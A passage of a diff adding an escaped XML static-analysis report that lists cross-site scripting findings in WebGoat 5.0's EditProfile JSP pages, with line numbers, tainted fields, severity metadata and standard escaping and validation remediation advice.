+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
